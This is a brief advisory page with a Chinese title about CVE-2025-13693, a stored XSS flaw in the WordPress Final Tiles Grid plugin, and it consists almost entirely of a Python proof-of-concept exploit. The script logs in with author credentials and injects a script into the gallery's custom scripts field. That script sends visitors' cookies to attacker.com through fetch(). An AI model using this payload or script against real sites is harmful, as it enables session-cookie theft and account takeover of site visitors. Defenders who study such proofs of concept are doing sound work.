CVE-2025-13693 WordPress Final Tiles Grid插件存储型XSS漏洞

import requests from bs4 import BeautifulSoup # CVE-2025-13693 PoC - WordPress Final Tiles Grid Plugin Stored XSS # Target: WordPress site with Final Tiles Grid plugin <= 3.6.8 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "author_user" PASSWORD = "author_password" def login_wordpress(): """Login to WordPress and get authentication cookies""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=login_data) return session if 'wordpress_logged_in' in str(session.cookies) else None def exploit_stored_xss(session): """Inject malicious JavaScript via Custom scripts setting""" # XSS payload - steals cookies xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Find Final Tiles Grid gallery ID galleries_url = f"{TARGET_URL}/wp-admin/admin.php?page=final-tiles-gallery" response = session.get(galleries_url) # Extract gallery ID from page (simplified) gallery_id = 1 # Replace with actual gallery ID # Update gallery with XSS payload in Custom scripts update_url = f"{TARGET_URL}/wp-admin/admin.php?page=final-tiles-gallery&action=edit&id={gallery_id}" # Prepare the malicious request post_data = { 'custom_scripts': xss_payload, 'save': 'Save Changes' } # Send the payload response = session.post(update_url, data=post_data) return True if __name__ == "__main__": session = login_wordpress() if session: exploit_stored_xss(session) print("[+] XSS payload injected successfully") print("[+] Visit gallery page to trigger the payload") else: print("[-] Authentication failed")